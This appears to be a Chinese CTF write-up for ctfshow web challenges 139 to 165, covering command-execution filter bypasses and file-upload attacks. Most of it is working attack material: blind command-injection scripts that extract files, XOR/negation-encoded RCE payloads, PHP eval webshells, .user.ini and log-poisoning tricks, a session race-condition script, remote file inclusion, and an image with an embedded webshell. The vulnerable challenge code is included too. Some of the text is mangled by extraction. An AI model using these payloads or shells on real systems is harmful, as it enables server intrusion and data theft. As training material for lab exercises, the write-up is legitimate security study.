if ( preg_match ( '/ \\$ | \. | \! | \@ | \# | \% | \^ | \& | \* | \? | \{ | \} | \> | \< |nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){
die ( 'too young too simple sometimes naive!' );
}
}
if ( isset ( $_GET [ 'c' ])){
$c = $_GET [ 'c' ];
check ( $c );
exec ( $c );
}
else {
highlight_file ( __FILE__ );
}
?>
这一题没有写的权限。只能尝试命令盲注。
盲注的话,需要截取字符,截取后需要进行相等判断,因此就需要 awk 和 cut 命令进行截取,if 和 sleep 函数进行判断 awk 逐行获取
cut 单字符获取
sif sleep 控制判断
脚本 —— 盲注爆破文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests
import time
import string
str = string.ascii_letters + string.digits + '_' + ')'
# 注意这里的下划线和括号还是必要的,否则文件名不同寻常就会有所缺失
result = ""
for i in range ( 1 , 15 ):
key = 0
for j in range ( 1 , 15 ):
if key == 1 :
break
for n in str :
payload = "if [ `ls /|awk 'NR== {0} '|cut -c {1} ` == {2} ];then sleep 3;fi" .format(i, j, n)
# print(payload)
url = "http://92e434bc-fd91-41d2-838b-d5e5bdbf7128.challenge.ctf.show/?c=" + payload
try :
requests.get(url, timeout = 2.5 )
except :
result += n
print (result)
break
if n == ')' :
key = 1
result += ' '
得到当前目录所有文件,发现疑似 flag 文件:f149_15_h3r3
脚本跑出 flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # -*- coding: utf-8 -*-
# @Time : 2022/12/28 18:52
# @Author : f0ur_lin
import string
import requests
str = string.ascii_letters + string.digits + '-' + '{' + '}'
result = ""
for j in range ( 1 , 45 ):
for n in str :
payload = "if [ `cat /f149_15_h3r3 |cut -c {0} ` == {1} ];then sleep 3;fi" .format(j, n)
# print(payload)
# url = "http://92e434bc-fd91-41d2-838b-d5e5bdbf7128.challenge.ctf.show/?c=" + payload
url = "http://25a13c11-9a13-420b-ba44-691191ba658d.challenge.ctf.show/?c=" + payload
try :
requests.get(url, timeout = 2.5 )
except :
result += n
print (result)
break
得到 flag,ctfshow24b51dc1-3f03-4c3a-8faa-c1ad8b4c5ceb
然后用括号包括即可。
web140(函数嵌套)<?php
error_reporting ( 0 );
highlight_file ( __FILE__ );
if ( isset ( $_POST [ 'f1' ]) && isset ( $_POST [ 'f2' ])){
$f1 = ( String ) $_POST [ 'f1' ];
$f2 = ( String ) $_POST [ 'f2' ];
if ( preg_match ( '/ ^ [a-z0-9] +$ /' , $f1 )){
if ( preg_match ( '/ ^ [a-z0-9] +$ /' , $f2 )){
$code = eval ( "return $f1 ( $f2 ());" );
if ( intval ( $code ) == 'ctfshow' ){
echo file_get_contents ( "flag.php" );
}
}
}
}
intval 一个字符串的结果是 int (0) ,那么基本上这个最终 if 里面的判断是很容易成立的了。
需要注意 $f1 ( f2 ()) 里面 f2 也是带括号的。也就是说 f2 需要来一个可选参数的函数。
# post:
f1=system & f2=system
f1=getdate & f2=getdate
***web141(无字母数字下划线 RCE)<?php
#error_reporting(0);
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ]) && isset ( $_GET [ 'v3' ])){
$v1 = ( String ) $_GET [ 'v1' ];
$v2 = ( String ) $_GET [ 'v2' ];
$v3 = ( String ) $_GET [ 'v3' ];
if ( is_numeric ( $v1 ) && is_numeric ( $v2 )){
if ( preg_match ( '/ ^ \W +$ /' , $v3 )){
$code = eval ( "return $v1$v3$v2 ;" );
echo " $v1$v3$v2 = " . $code ;
}
}
}
这里的 \W 会匹配任何非字母非数字的字符。然后要明白的是,php 中数字即使与函数一起也是能够执行的,如:1+phpinfo ()+1; 最终还是能够执行成功的。
所以我们现在除了 v1 和 v2 不需要担心之外,要构造出来 v3 的能够命令执行的函数或者操作等。方法很多。
1. 异或异或构造可以先用脚本看看可用字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 # -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2022-12-31 05:26:04
# @Last Modified by: f0ur_lin
# @Last Modified time: 2022-12-31 05:28:59
<?php
$myfile = fopen ( "xor_rce2.txt" , "w" ); // 新建一个文本文件,将可用字符放在里面
$contents = "" ;
for ( $i = 0 ; $i < 256 ; $i ++) {
for ( $j = 0 ; $j < 256 ; $j ++) {
if ( $i < 16 ){
$hex_i = '0' . dechex ( $i ); // dechex()将十进制转为十六进制
}
else {
$hex_i = dechex ( $i );
}
if ( $j < 16 ){
$hex_j = '0' . dechex ( $j );
}
else {
$hex_j = dechex ( $j );
}
// 注意题目的正则要求是匹配还是不能被匹配到,该脚本得到的是不能被匹配的结果
$preg = '/[A-Za-z0-9_]/' ; //根据题目给的正则表达式修改即可
if ( preg_match ( $preg , hex2bin ( $hex_i ))|| preg_match ( $preg , hex2bin ( $hex_j ))){ //hex2bin()将十六进制转为ascii
echo "" ;
}
else {
$a = '%' . $hex_i ;
$b = '%' . $hex_j ;
$c =( urldecode ( $a )^ urldecode ( $b )); # 将符合条件的字符url解码并异或
if ( ord ( $c )>= 32 & ord ( $c )<= 126 ) { # 对于所有字符,筛选出符合条件的
$contents = $contents . $c . " " . $a . " " . $b . " \n " ;
}
}
}
}
fwrite ( $myfile , $contents );
fclose ( $myfile );
脚本会在同级目录下生成 txt,然后可以用脚本半自动的生成一个我们想要的异或字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2022-12-31 05:31:46
# @Last Modified by: f0ur_lin
# @Last Modified time: 2022-12-31 05:33:14
import requests
import urllib
from sys import *
import os
def action ( arg ):
s1 = ""
s2 = ""
for i in arg:
f = open ( "xor_rce2.txt" , "r" )
while True :
t = f.readline()
if t == "" :
break
if t[ 0 ] == i:
# print(i)
s1 += t[ 2 : 5 ] # 取可用字符的第二部分
s2 += t[ 6 : 9 ] # 取可用字符的第三部分
break
f.close()
output = "( \" " + s1 + " \" ^ \" " + s2 + " \" )" # 将第二部分与第三部分异或,得到想要的字符
return (output)
while True :
param = action( input ( " \n [+] your function:" )) + action( input ( "[+] your command:" )) + ";"
print (param)
得到命令:
[+] your function:system
[+] your command:ls
( " %08% 02 %08% 08 %05% 0d" ^ " %7b%7b%7b%7c%60% 60" )( " %0c %08" ^ " %60% 7b" ) ;
[+] your function:system
[+] your command:tac flag.php
( " %08% 02 %08% 08 %05% 0d" ^ " %7b%7b%7b%7c%60% 60" )( " %08% 01 %03% 00 %06% 0c %01% 07 %00% 0b %08% 0b" ^ " %7c%60% 60 %20% 60 %60% 60 %60% 2e %7b%60% 7b" ) ;
2. 或其实小改一下上面的两个脚本即可。将 ^ 换成 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 # 字符可用脚本修改处
$c =( urldecode ( $a )| urldecode ( $b )); # 将符合条件的字符url解码并异或
```
``` python
# 命令构造脚本生成修改处
output = "( \" " + s1 + " \" | \" " + s2 + " \" )" # 将第二部分与第三部分异或,得到想要的字符
```
#### 3.取反
取反用的基本上都是不可见字符,正则一般是不用绕的
``` php
<?php
/**
* @Coding: utf-8
* @Author: yu22x
* @Date: 2022-12-31 06:35:21
* @Last Modified by: f0ur_lin
* @Last Modified time: 2022-12-31 06:36:27
*/
fwrite (STDOUT, '[+]your function: ' );
$system = str_replace ( array ( " \r\n " , " \r " , " \n " ), "" , fgets (STDIN));
fwrite (STDOUT, '[+]your command: ' );
$command = str_replace ( array ( " \r\n " , " \r " , " \n " ), "" , fgets (STDIN));
echo '[*] (~' . urlencode (~ $system ) . ')(~' . urlencode (~ $command ) . ');' ;
```
### web142(sleep)
``` php
<?php
error_reporting ( 0 );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ])){
$v1 = ( String ) $_GET [ 'v1' ];
if ( is_numeric ( $v1 )){
$d = ( int )( $v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d );
sleep ( $d );
echo file_get_contents ( "flag.php" );
}
}
```
0乘以任何数结果都为0
### web143(rce异或绕过)
``` php
<?php
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ]) && isset ( $_GET [ 'v3' ])){
$v1 = ( String ) $_GET [ 'v1' ];
$v2 = ( String ) $_GET [ 'v2' ];
$v3 = ( String ) $_GET [ 'v3' ];
if ( is_numeric ( $v1 ) && is_numeric ( $v2 )){
if ( preg_match ( '/[a-z]|[0-9]| \+ | \- | \. | \_ | \| | \$ | \{ | \} | \~ | \% | \& | \; /i' , $v3 )){
die ( 'get out hacker!' );
}
else {
$code = eval ( "return $v1$v3$v2 ;" );
echo " $v1$v3$v2 = " . $code ;
}
}
}
```
过滤了或|还过滤了取反~但是没有过滤小括号。依旧可以用上次的异或处理。只不过v1、v2与v3的运算符号得换成乘法*这种。
```
?v1= 1 &&v2= 1 & v3=*( "%0c%06%0c%0b%05%0d" ^ "%7f%7f%7f%7f%60%60" )( "%0b%01%03%00%06%00" ^ "%7f%60%60%20%60%2a" )*
```
### web144(rce+?:)
``` php
<?php
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ]) && isset ( $_GET [ 'v3' ])){
$v1 = ( String ) $_GET [ 'v1' ];
$v2 = ( String ) $_GET [ 'v2' ];
$v3 = ( String ) $_GET [ 'v3' ];
if ( is_numeric ( $v1 ) && check ( $v3 )){
if ( preg_match ( '/ ^ \W +$ /' , $v2 )){
$code = eval ( "return $v1$v3$v2 ;" );
echo " $v1$v3$v2 = " . $code ;
}
}
}
function check ( $str ){
return strlen ( $str )=== 1 ? true : false ;
}
```
这个题……没啥变化其实。
``` php
?v1= 1 & v3= 1 & v2=*( "%0c%06%0c%0b%05%0d" ^ "%7f%7f%7f%7f%60%60" )( "%0b%01%03%00%06%00" ^ "%7f%60%60%20%60%2a" )
```
### web145(或运算或者取反+三目运算)
``` php
<?php
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ]) && isset ( $_GET [ 'v3' ])){
$v1 = ( String ) $_GET [ 'v1' ];
$v2 = ( String ) $_GET [ 'v2' ];
$v3 = ( String ) $_GET [ 'v3' ];
if ( is_numeric ( $v1 ) && is_numeric ( $v2 )){
if ( preg_match ( '/[a-z]|[0-9]| \@ | \! | \+ | \- | \. | \_ | \$ | \} | \% | \& | \; | \< | \> | \* | \/ | \^ | \# | \" /i' , $v3 )){
die ( 'get out hacker!' );
}
else {
$code = eval ( "return $v1$v3$v2 ;" );
echo " $v1$v3$v2 = " . $code ;
}
}
}
```
这里没有过滤或运算和取反运算,这两种都可以,主要是考虑怎么链接这三个变量。仔细审查正则可以知道没有过滤问号,而v1又是纯数字,那么可以巧合的构造出:
``` php
return 1 ?v3:v2
```
其中v3为命令
``` php
?v1= 1 & v2= 2 & v3=?(~% 8 C% 86 % 8 C% 8 B% 9 A% 92 )(~% 8 B% 9 E% 9 C%DF% 99 % 93 % 9 E% 98 %D1% 8 F% 97 % 8 F):
```
### web146(取反+或)
``` php
<?php
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ]) && isset ( $_GET [ 'v3' ])){
$v1 = ( String ) $_GET [ 'v1' ];
$v2 = ( String ) $_GET [ 'v2' ];
$v3 = ( String ) $_GET [ 'v3' ];
if ( is_numeric ( $v1 ) && is_numeric ( $v2 )){
if ( preg_match ( '/[a-z]|[0-9]| \@ | \! | \: | \+ | \- | \. | \_ | \$ | \} | \% | \& | \; | \< | \> | \* | \/ | \^ | \# | \" /i' , $v3 )){
die ( 'get out hacker!' );
}
else {
$code = eval ( "return $v1$v3$v2 ;" );
echo " $v1$v3$v2 = " . $code ;
}
}
}
```
过滤了异或也过滤了:不能用三目运算符了。但是没过滤或和取反,不知道我这样算不算非预期:
``` php
?v1= 1 & v2= 2 & v3=|(~% 8 C% 86 % 8 C% 8 B% 9 A% 92 )(~% 8 B% 9 E% 9 C%DF% 99 % 93 % 9 E% 98 %D1% 8 F% 97 % 8 F)|
```
### ***web147(create_function() 代码注入)
``` php
<?php
highlight_file ( __FILE__ );
if ( isset ( $_POST [ 'ctf' ])){
$ctfshow = $_POST [ 'ctf' ];
if (! preg_match ( '/ ^ [a-z0-9_] *$ /isD' , $ctfshow )) {
$ctfshow ( '' , $_GET [ 'show' ]);
}
}
```
这里这个模式匹配中的大写D是什么不认识,特意查了下:
> 修正符:D 如果使用 $限制结尾字符 ,则不允许结尾有换行;
本题的正则匹配的是开头包含数字字母下划线的字符,可以用php默认命名空间(\)来绕过。我个菜鸡具体的还是不太懂,先放个Lazzaro佬的解释图:
![image-20221231080121283](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212310801388.png)
佬的参考地址:[Code-Breaking Puzzles 题解&学习篇](https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-题解-学习篇/#function)
**Lazzaro佬**这篇php绕过的含金量也很高,推荐啃:[PHP绕过](https://lazzzaro.github.io/2020/05/18/web-PHP%E7%BB%95%E8%BF%87/index.html)
正则的事解决之后,看题中的括号内,GET前面是有一个逗号的,也就是说有两个参数,且第一个参数为空是不可控的。这里就要找一个能不用第一个参数的函数且这个函数又能让我们RCE,就比如:
create_function()主要用来创建匿名函数。
``` php
string create_function ( string $args , string $code )
/*
string $args 变量部分
string $code 方法代码部分
*/
```
例如:
``` php
create_function ( '$name' , 'echo $name."Zhang"' )
```
类似于:
``` php
function fT ( $name ) {
echo $fname . "Zhang" ;
}
```
于是:
``` php
# POST:
ctf=\create_function
# GET:
?show=} system ( 'ls' ); /*
// } 用来闭合函数体,使得system()跳出函数体得以执行,记得注释掉多余的括号
```
### web148(异或rce绕过)
```php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
```
没过滤异或,可以用异或进行rce,脚本前面都有。本地运行中,正则转义方面应修改为:
```php
$preg = '/[A-Za-z0-9_%\\\|~\',.:@&*+\- ]+/';
```
payload:
```php
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
```
### web149(条件竞争)
题目描述:你写的快还是我删的快?
```php
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
```
unlink是Linux系统下删除文件的。
根据题目描述应该是条件竞争,但是仔细审查代码会发现,可以直接写index.php文件
非预期:
```php
# GET:
?ctf=index.php
# POST:
show=<?php @eval($_POST[1]);?>
预期解的话,开 burpsuite 一个不断访问并传参,一个不断访问所写文件
?ctf=a . php
show=<?php system ( 'tac /c*' )?>
web150(包含日志文件)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php
include ( "flag.php" );
error_reporting ( 0 );
highlight_file ( __FILE__ );
class CTFSHOW {
private $username ;
private $password ;
private $vip ;
private $secret ;
function __construct (){
$this -> vip = 0 ;
$this -> secret = $flag ;
}
function __destruct (){
echo $this -> secret ;
}
public function isVIP (){
return $this -> vip ? TRUE : FALSE ;
}
}
function __autoload ( $class ){
if ( isset ( $class )){
$class ();
}
}
#过滤字符
$key = $_SERVER [ 'QUERY_STRING' ];
if ( preg_match ( '/ \_ | | \[ | \] | \? /' , $key )){
die ( "error" );
}
$ctf = $_POST [ 'ctf' ];
extract ( $_GET );
if ( class_exists ( $__CTFSHOW__ )){
echo "class is exists!" ;
}
if ( $isVIP && strrpos ( $ctf , ":" )=== FALSE ){
include ( $ctf );
}
~~ 一眼顶针,~~ 想到包含日志文件。ua 头写入一句话(写错只能重来):
if 中还需要 isVIP 为 true,于是:
# GET:
?isVIP=true
# POST:
ctf=/var/log/nginx/access.log&1=system('ls')
web150_plus(autoload ()+ 下划线绕过)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php
include ( "flag.php" );
error_reporting ( 0 );
highlight_file ( __FILE__ );
class CTFSHOW {
private $username ;
private $password ;
private $vip ;
private $secret ;
function __construct (){
$this -> vip = 0 ;
$this -> secret = $flag ;
}
function __destruct (){
echo $this -> secret ;
}
public function isVIP (){
return $this -> vip ? TRUE : FALSE ;
}
}
function __autoload ( $class ){
if ( isset ( $class )){
$class ();
}
}
#过滤字符
$key = $_SERVER [ 'QUERY_STRING' ];
if ( preg_match ( '/ \_ | | \[ | \] | \? /' , $key )){
die ( "error" );
}
$ctf = $_POST [ 'ctf' ];
extract ( $_GET );
if ( class_exists ( $__CTFSHOW__ )){
echo "class is exists!" ;
}
if ( $isVIP && strrpos ( $ctf , ":" )=== FALSE && strrpos ( $ctf , "log" )=== FALSE ){
include ( $ctf );
}
相比上一题,这题要用到的是_autoload (),因为伪协议没了,log 也没有了。
当进行类判断时就会自动调用这个 autoload,这里看上去 autoload 在 CTFSHOW 这个类里面,但其实不是的,它是个独立的方法。
而我们这个 get 传参会进行一个释放,可以做到一个类似变量覆盖的操作。但是下划线是被 ban 的,这里要想办法绕过。而这种类似的绕过前面已经碰到过了,也就是当点和空格存在于变量名时,会被自动转化为下划线 。
payload:
flag 就在环境变量里面了。
文件上传 web151 (无过滤常规后门)启动环境。无过滤
要求上传图片,先常规写一句话无文件头试试:
发现没有文件头也能上传,直接抓包进行修改后缀试试:
访问拿 shell 咯:
flag:
ctfshow {4ac0b860-1d4b-4bfd-8d61-d0246d9ff2a5}
web152 (常规后门)hint: 后端不能单一校验(文件类型校验)
<?php @ eval ( $_POST [ 'ok' ]);?>
首次测试,没有图片文件头的一句话成功上传,访问:02.php
找到 flag 位置读取:
ok= system ( 'tac ../flag.php' );
flag:
ctfshow {1e2d82fb-a7e5-4d40-b3b0-ab4e1ad2018f}
web153 (.user.ini 利用)配置文件可控
<?php @ eval ( $_POST [ 'ok' ]);?>
无文件头的一句话此题失败,尝试写入文件头后发现还是失败。那就是后端可能进行了后缀检测了。
再次尝试 pht 这种别的后缀,上传成功,但是访问之后却发现没有正常解析,那么可能是配置文件并没有开了,但是后缀却没有过滤这些。只能另寻他法。
试试.htaccess:
<FilesMatch "03.png" >
SetHandler application/x-httpd-php
</FilesMatch>
结果发现这个也不行。只能试试.user.ini 了
直接访问:
http: //c4543f80-5590-4aa3-90ad-6f22fe5769c2.challenge.ctf.show/upload/index.php
post:
就能看到 flag,tac:
ok= system ( 'tac ../flag.php' );
flag:
ctfshow {4a1b0012-df08-41f5-a453-8d98b1c4af99}
web154 (php 标签之短标签)hint: 后端不能单二校验(短标签)
png 文件头 hex:
这次 php、pht 失败,并且进行了文件内容检测。经过修改文件头 hex 发现并不是没有写文件头的锅。那么可能是匹配到了写入的 php 之类的。
.user.ini:
关于写入的一句话,由于这里过滤了 php(可能),那么可以使用短标签进行绕过。
对于 php 标签的其他写法 这里稍微写一下:
1. <? echo '123' ?>
// 配置要求:short_open_tags=on
2. <?=(表达式)?> 等价于 <?php echo (表达式)?>
// 无参数配置要求
3. <% echo '123' ;%>
// 配置参数asp_tags=on
// 经过测试发现7.0及以上修改完之后也不能使用,报500错误,但是7.0以下版本在修改完配置后就可以使用
4. <script language=”php”> echo '123' ; </script>
// 没有参数设置开关要求,但是只能7.0以下使用
这道题我们可以使用第二种
上传.user.ini:
访问 upload/index.php 拿 shell,flag:
cmd= system ( 'tac ../f*' );
ctfshow{ 937 da607-b6ff- 44 a0-a1f0- 843822 f3706b}
web155 (短标签)hint: 后端不能单三校验(短标签)
上传一句话之后直接用.user.ini 吧,因为难度是在上一题的基础上逐渐递增的。
.user.ini:
抓包修改文件名为:.user.ini 上传
上传成功之后访问 upload/index.php
post:go= system ( 'tac ../f*' );
flag:
ctfshow{def31b54- 1032 - 4232 -bd05- 914e67 a276b9}
web156 (中括号过滤大括号来绕过)hint:后端不能单四校验
中括号 [] 检测,大括号绕过 {}
go.png:
0.png:
这次发现短标签的一句话也被检测了,那么肯定不是 php 的锅了。这里查了一下才知道过滤的是 [ ] 这个符号。
但是这里同时在想是否可以换种一句话写法呢?
参考 reference :一句话木马的变形技巧
这里就直接换一种木马写法吧(如编码方式隐藏),直接试试:
<?= eval ( base64_decode ( 'JF9QT1NUWydnbydd' ));?>
// 此处JF9QT1NUWydnbydd为$_POST['go']
可以看到上传成了。当然简单方法其实就是:
将中括号换成大括号即可。
回到主线,再上传.user.ini
尝试 getshell 拿到 flag 发现失败,报错如下:
这是语法错误,说明这个短标签不能这么简单和编码隐藏写成这样,只能是形式,那么这里就不能这么绕过了。还是乖乖将中括号改为大括号吧。
修改后拿 flag:
go= system ( 'tac ../f*' );
ctfshow{ 0 ed57185-c99c- 46e9 - 93 ce-f560bde1ef64}c= system ( 'tac ../f*' );
web157 (新增分号过滤 php 分号特性)hint:后端不能单五校验
新增分号;过滤
上传
上传失败,不知道这次又过滤了什么,经过筛查不是?也不是 $ 什么的,那就可能是;号了,尝试删除之后重发发现确实是;号过滤。
这里有个知识点,就是 php 代码中,最后一行的 php 代码可以不带分号
同时这里又过滤了 {},导致一句话是写不了了。只能另寻他法:
或者用 array_pop 函数:
<?= eval ( array_pop ( $_POST ))?>
array_pop(PHP4,PHP5,PHP7)
array_pop 弹出数组最后一个单元(出栈)
同样使用.user.ini 进行包含,然后 post:
a= system ( 'ls ../' );
//a可以为任意字符或数字
flag:
ctfshow {843e3771-0db6-4b79-a745-f1dddb8bce47}
web158 (分号特性)hint: 后端不能单六校验
同上一题。
flag:
ctfshow {3ee0f3ba-dda7-4081-b609-f03d4ce8a4e6}
web159(左括号过滤 配合文件包含漏洞)新增过滤左括号 ( 这个确实太致命了,确实不会。实测还过滤了 log
这里就要配合文件包含漏洞一起了。payload:<?=include 'var/l' . 'og/nginx/access.lo' . 'g?' ?>
// 这里由于过滤了log,所以要用'.'来进行一个拼接。
想了解为什么可以搜 php 点的用法,这是 php 语法
上传试试: go.png:
<?=include 'var/l' . 'og/nginx/access.lo' . 'g?' ?>
want.png (修改后为.user.ini):
这样一来,我们访问触发 index.php(其实上传就直接会触发 index.php,可以直接访问 upload 目录下),然后就会得到日志回显。
这个时候能看到日志文件中会显示访问端的浏览器信息也就是:User-Agent
于是我们直接返回访问 go.png,将对话 (go.png) 的包进行修改或者用 hackbar 添加 header:
HEADER:
Name:User-Agent
Value:<?php @ eval ( $_POST [ 1 ]);?>
// 由于这里是没有过滤的,可以随便写马
写入之后,我们回到 upload 目录下,进行 post 传:
最后在日志回显最下面找到 flag:
ctfshow {f0b380bd-41f3-4eeb-aac0-2d02ab329fd6}
web160 (空格过滤抓包 hex 修改)新增过滤空格。
构造 payload:
<?= include '/var/l' . 'og/nginx/access.lo' . 'g' ?>
这里因为过滤空格,所以需要抓包进行修改 hex:
这里官方视频是修改为 0d 也就是回车,亲测 0d 可行而换行的 0a 会真的换行:
0d 替换之后并不会换行(亲测 0a 也可用只是会换行),而是类似于一个占位却不显示而且还不影响代码效果。
这里也可以修改成我这样 00
然后步骤同上题,得到 flag:
ctfshow{c9e70901-3173-4ea1-bd8b-542b4bbe73e9}
web161 (前后端文件头检测不一致迷惑行为)尝试上传:
<?= include '/var/l' . 'og/nginx/access.lo' . 'g' ?>
失败,提示文件类型不合规
可能这次真的要文件头了?尝试加上 png 文件头之后还是失败。尝试多次之后发现 gif 的文件头才能上传(???)
前端要求 png,后端检测 gif……
至此,我们上传带 gif 文件头的包含系统文件语句:
GIF89a?
<?= include '/var/l' . 'og/nginx/access.lo' . 'g' ?>
这里记得 <?=include 和 '/var' 之间的空格要修改 hex
最终上传成功,然后再上传.user.ini 文件去进行一个包含,成功得到日志回显,于是直接去 go.png 进行添头:
User Agent: <?php @ eval ( $_POST [ 1 ]);?>
再到 upload 目录下 post:
得到 flag:
ctfshow {e1e9585d-2ba0-48f5-8d4d-47ca48b455e8}
web162(竞争 / 远程文件包含)尝试上传
<?=include '/var/l' . 'og/nginx/access.lo' . 'g' ?>
失败(空格也已修改 hex)。测试过滤了.
预期解是竞争,但是群主提供了一个别的思路。远程文件包含。
首先说预期解:
正常上传.user.ini
GIF89A
auto_append_file= "go"
然后上传 go
GIF89A
<?=include"/tmp/sess"?>
最后开始条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requests
import threading
session = requests.session()
sess = 'go'
url1 = "http://8c7b68b0-202c-42f2-94a9-6a2cac90c89a.challenge.ctf.show/"
url2 = "http://8c7b68b0-202c-42f2-94a9-6a2cac90c89a.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac ../f*");?>'
}
file = {
'file' : 'go'
}
cookies = {
'PHPSESSID' : sess
}
def write ():
while True :
r = session.post(url1, data =data1, files =file, cookies =cookies)
def read ():
while True :
r = session.get(url2)
if 'flag' in r.text:
print (r.text)
threads = [threading.Thread( target =write),
threading.Thread( target =read)]
for t in threads:
t.start()
由于平台并发限制,竞争很难出。所以下面写写非预期解:
首先正常上传配置文件.user.ini
GIF89A
auto_append_file= "go"
然后包含一个远程的 url
# 起服务:
python3.8 -m http.server 8888
这个远程的 URL 要求是不能有点,可以用 ip 地址转换为长地址(长地址纯数字),直接访问这个远程 url 的效果需要是返回一个一句话。一般都是写成 txt
<?=include 'http://2018421144:8888/233' ?>
之后就直接访问 upload 目录 rce 即可。
web163(配置文件远程包含)不用竞争的话,可以尝试直接在配置文件中进行远程包含 。
web164(png 二次渲染)png 二次渲染的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php
$p = array ( 0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 ,
0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae ,
0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc ,
0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f ,
0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c ,
0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d ,
0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 ,
0x66 , 0x44 , 0x50 , 0x33 );
$img = imagecreatetruecolor ( 32 , 32 );
for ( $y = 0 ; $y < sizeof ( $p ); $y += 3 ) {
$r = $p [ $y ];
$g = $p [ $y + 1 ];
$b = $p [ $y + 2 ];
$color = imagecolorallocate ( $img , $r , $g , $b );
imagesetpixel ( $img , round ( $y / 3 ), 0 , $color );
}
imagepng ( $img , 'kk.png' ); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
得到被插入代码的图片之后直接上传,然后查看图片,使用 hackbar
然后下载图片查看即可。
web165(jpg 二次渲染)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 <?php
$miniPayload = "<?=eval( \$ _POST[1]);?>" ;
